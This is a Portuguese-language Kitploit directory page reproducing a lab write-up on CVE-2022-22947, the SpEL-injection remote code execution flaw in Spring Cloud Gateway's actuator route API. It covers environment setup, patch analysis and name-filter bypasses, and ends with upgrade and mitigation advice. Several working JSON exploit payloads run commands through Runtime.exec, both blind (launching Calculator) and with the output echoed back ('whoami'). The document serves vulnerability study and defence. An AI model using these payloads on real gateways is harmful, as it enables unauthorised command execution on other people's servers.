Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22947 — Spring-Cloud-Spel-RCE | Kitploit
Ferramentas/GitHubGitHub/4nnns/cve-2022-22947
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

Ver Repositório
122há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade de Execução de Comandos no SpringCloud-Gateway (CVE-2022-22947)

Configuração do Ambiente

Método 1:

Clonando o código do ambiente já escrito no GitHub.

Repositório GitHub

root@kitploit:~
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Abra o pacote de código que acabamos de baixar usando o IDEA: Open ---> Caminho do arquivo baixado ---> Open.

Método 2:

Criando o projeto manualmente e configurando o ambiente.

(1) Novo projeto, depois de configurar, siga em frente com "next";

(2) Analise a estrutura de diretórios do projeto:

​ 1. A pasta .idea contém arquivos de configuração padrão do IntelliJ IDEA, sem outras finalidades, pode ser excluída ou mantida conforme necessário;

​ 2. A pasta src é a área principal do código do projeto, incluindo duas pastas: java e resources. java é a área para escrever código Java, resources é a área de configuração de todo o projeto. Por padrão, projetos Spring adicionam o método SpringApplication em java, que é o método de inicialização padrão do Spring. Em resources, o arquivo application.properties é adicionado por padrão, que é o arquivo de configuração do projeto Spring;

​ 3. A pasta test é para testes, onde podem ser testados métodos;

​ 4. pom.xml é o arquivo de configuração do Maven, que inclui dependências, configurações, etc.;

​ 5. O arquivo .iml é a configuração do pacote de dependências do Maven, também adicionado por padrão;

​ 6. A pasta External Libraries contém todos os pacotes de dependência do projeto.

(3) Adicione as dependências Maven ao arquivo pom.xml (repositório Maven contém todos os detalhes das dependências).

​ 1. O arquivo pom gera parte do código XML por padrão, conforme abaixo:

​ 2. Importe as dependências necessárias para o projeto. Como este é um projeto SpringBoot, é necessário importar a dependência spring-boot-starter como inicializador do servidor. Além disso, esta vulnerabilidade é uma vulnerabilidade no gateway SpringCloud Gateway. A versão afetada é inferior a 3.1.1, então usaremos a versão 3.1.0 para reprodução. Também precisamos monitorar e acessar o gateway através da interface actuator, portanto, também precisamos desta dependência. O conteúdo específico é o seguinte:

(4) Modifique o arquivo de configuração do Spring (caminho: src --> main --> resources --> application.properties), conforme abaixo:

​ 1. server.port é a porta de inicialização do servidor Spring, padrão 8080, pode ser configurada conforme necessário;

​ 2. management.endpoint.gateway.enabled=true ativa o monitoramento do gateway SpringCloud-Gateway pelo actuator. O padrão é false, mas como esta vulnerabilidade requer monitoramento do estado do gateway, precisamos alterá-lo manualmente para true;

​ 3. management.endpoints.web.exposure.include=gateway seleciona o gateway do servidor como Gateway, pois a vulnerabilidade é do gateway Gateway.

(5) Modifique a classe Java gerada automaticamente após criar o novo projeto (o nome da classe geralmente é NomeDoProjeto + Application, caminho: src --> main --> java --> com.xxx.xxx --> xxxApplication). Veja a imagem abaixo:

(6) Inicie o projeto, conforme abaixo:

(7) Acesse http://localhost:9000. Se a página exibir a mesma imagem, o ambiente foi configurado com sucesso.

Auditoria Reversa

(1) Primeiro, vejamos o patch de correção oficial, diff: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e, a equipe oficial substituiu StandardEvaluationContext por GatewayEvaluationContext na função org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue para executar expressões SPEL.

Pela imagem acima, o patch modifica principalmente o método de análise de expressão SPEL. A partir da linha 66, a instrução if mostra que a expressão SPEL precisa começar com "#{" e terminar com "}". A função getValue analisa expressões SPEL, indicando que esta vulnerabilidade é uma vulnerabilidade RCE acionada por expressão SPEL.

(2) Clique com control + botão esquerdo no campo getValue para rastrear até a enumeração org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

Pelo método default acima, podemos ver que ele chama o método DEFAULT da enumeração, cujo detalhe é:

root@kitploit:~
default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}

Método DEFAULT

(3) Rastreie até org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Este normalizeProperties() analisa as propriedades dos filtros, passando as propriedades de configuração do filtro para normalize, que finalmente entra em getValue executando a expressão SPEL, resultando em injeção de expressão SPEL.

Auditoria Direta (Cadeia de Exploração sem Echo)

(1) De acordo com a documentação [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ), os usuários podem criar e excluir rotas no gateway através do actuator. A imagem abaixo mostra a estrutura básica do gateway.

(2) No IDEA, através da função de mapeamento do actuator, é possível encontrar as interfaces de criação e exclusão de rotas.

(3) Rastreie a classe RouteDefinition, que declara a estrutura de conteúdo do gateway.

(4) Rastreie a classe FilterDefinition, que mostra que Filter tem dois parâmetros: "name" e "args".

(5) Rastreie o parâmetro name e descubra que no método AbstractGatewayControllerEndpoint#save(), o name é filtrado. O método save é a interface para criar um gateway, que chama dois parâmetros: o id do gateway (personalizável) e RouteDefinition. Conforme explicado, este objeto declara a estrutura de conteúdo do gateway criado, acionando assim a vulnerabilidade.

(6) Através de breakpoints, depure dinamicamente o método isAvailable() para ver quais nomes passam no filtro.

É possível contornar a verificação de nome usando os nomes mostrados na imagem acima.

(7) Com base na análise acima, podemos atacar usando o parâmetro "name" especificado e uma expressão SPEL que começa com "#{" e termina com "}", para executar RCE. O payload é o seguinte:

root@kitploit:~
/**
* Explicação da expressão SPEL no payload
* Como precisamos executar comandos através da expressão, usamos T(java.lang.Runtime).getRuntime().exec() para chamar o método de execução de comandos.
* Como a expressão precisa ser passada como uma string do tipo String ao executar o comando, é necessário converter o tipo da expressão para String.
* Como a expressão precisa ser passada na forma de fluxo de bytes, é necessário chamar o método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "pode ser alterado arbitrariamente (não pode ser igual ao id criado anteriormente)",
  "filters": [{
    "name": "qualquer nome da captura de tela acima",
    "args": {
      "name": "pode ser alterado arbitrariamente",
      //este value é o comando para abrir a calculadora (MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) Cadeia de exploração sem echo de predicates ([site oficial](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): o fluxo de execução SPEL de predicates é igual ao de filters. A imagem abaixo mostra o conteúdo de verificação de nome dos predicates, e é possível usar esses nomes para executar comandos. Depurando dinamicamente, obtém-se o mecanismo de verificação de nome dos predicates e constrói-se o payload com base nos exemplos do site oficial.

root@kitploit:~
/**
* Explicação da expressão SPEL no payload
* Como precisamos executar comandos através da expressão, usamos T(java.lang.Runtime).getRuntime().exec() para chamar o método de execução de comandos.
* Como a expressão precisa ser passada como uma string do tipo String ao executar o comando, é necessário converter o tipo da expressão para String.
* Como a expressão precisa ser passada na forma de fluxo de bytes, é necessário chamar o método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "pode ser alterado arbitrariamente (não pode ser igual ao id criado anteriormente)",
  "predicates": [{
    "name": "qualquer nome da captura de tela acima",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Resumo (Cadeia de Exploração sem Echo)

As cadeias de filters e predicates sem echo realmente existem, e desde que os nomes de filters e predicates sejam legais e contornem as restrições, é possível acionar RCE.

Auditoria Direta (Cadeia de Exploração com Echo)

(1) Princípio do echo: as definições de rota armazenadas pelo usuário existem na memória. Após a execução da expressão SPEL na rota atualizada, o resultado da execução é gravado nas informações da rota. Ao consultar a API de informações de rota, é possível visualizar o resultado da execução RCE.

(2) Pela explicação do site oficial, para a cadeia de exploração com echo de filters, usando name="AddResponseHeader" é possível acionar a cadeia com echo.

root@kitploit:~
/**
* Explicação da expressão SPEL no payload
* Como precisamos executar comandos através da expressão, usamos T(java.lang.Runtime).getRuntime().exec() para chamar o método de execução de comandos.
* Como a expressão precisa ser passada como uma string do tipo String ao executar o comando, é necessário converter o tipo da expressão para String.
* Como a expressão precisa ser passada na forma de fluxo de bytes, é necessário chamar o método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
  "id": "pode ser alterado arbitrariamente (não pode ser igual ao id criado anteriormente)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) Agora precisamos pensar se, além de name="AddResponseHeader", todos os outros nomes podem ser usados para ataque RCE com echo, como na cadeia sem echo.

(4) Testamos com name="RedirectTo" para ver se é possível realizar ataque com echo.

Descobrimos que não é possível obter echo. Verifique os logs do backend e perceba que há uma exceção de ponteiro nulo.

Verifique no site oficial que o erro foi causado por parâmetros args incompatíveis com o filtro. Este filtro requer dois parâmetros: "status" e "url". Modificamos os parâmetros e tentamos novamente.

Ainda retorna 404, mas o erro do backend não é mais de ponteiro nulo. Pela mensagem de exceção, o spring-cloud-gateway está analisando o formato da url. Ou seja, os parâmetros correspondentes têm restrições de tipo, como status que deve ser um código de status HTTP (tipo enum).

Precisamos encontrar outro ponto de ruptura, um parâmetro do tipo String.

(5) Vamos ao site oficial procurar filtros cujo parâmetro seja String ([link oficial](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[) ), como o filtro RemoveRequestHeader que requer apenas uma string do tipo name. Assim podemos construir uma expressão SPEL como valor de name.

Abaixo, construímos o payload para tentar e descobrimos que é possível obter echo.

Percebe-se que na cadeia de exploração com echo de filters, não apenas o name é filtrado, mas também os parâmetros args têm certos requisitos. No entanto, é possível contornar essas limitações construindo diferentes filtros.

(6) Na cadeia de exploração com echo de predicates, a abordagem é semelhante à de filters. Filtre os parâmetros e tipos de parâmetros do site oficial para encontrar filtros que possam executar expressões SPEL e, assim, realizar RCE com echo.

(7) Em predicates, é possível usar name="Cookie" para execução de comandos. Construa com base nos parâmetros de referência do site oficial.

Construa o payload e tente, descobrindo que o echo é bem-sucedido.

A cadeia de echo de predicates realmente existe. Não apenas há restrições nos nomes dos args, mas também nos tipos correspondentes aos parâmetros. Além disso, há restrições na integridade dos parâmetros.

Resumo (Cadeia de Exploração com Echo)

Na cadeia de exploração com echo, o Spring não só filtra o nome do filtro, mas também tem restrições sobre os tipos e a quantidade de parâmetros args. É possível determinar se existe uma cadeia explorável consultando os detalhes dos filtros no site oficial.

Reprodução da Vulnerabilidade

  1. Cadeia de Exploração sem Echo

(1) Primeiro, crie um gateway, envie uma requisição POST e construa um payload malicioso.

(2) Atualize o gateway.

复现2

(3) Obtenha as informações do gateway, envie uma requisição GET para o gateway test criado anteriormente, a calculadora é aberta.

(4) Exclua o gateway.

  1. Cadeia de Exploração com Echo

(1) Primeiro, crie um gateway, envie uma requisição POST e construa um payload malicioso.

(2) Atualize o gateway.

复现2

(3) Obtenha as informações do gateway, envie uma requisição GET para o gateway hacktest criado anteriormente, o echo de "whoami" é bem-sucedido.

复现3

(4) Exclua o gateway.

复现4

Soluções de Correção

  1. Solução temporária:

(1) Se o endpoint Actuator não for necessário, desabilite-o com a seguinte configuração.

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) Se o endpoint Actuator for necessário, proteja-o com Spring Security.

  1. Patch oficial de atualização:

A versão oficial de segurança foi lançada:

root@kitploit:~
Usuários da versão 3.1.X atualizem para 3.1.1+

Usuários da versão 3.0.X atualizem para 3.0.7+
Baixar ferramenta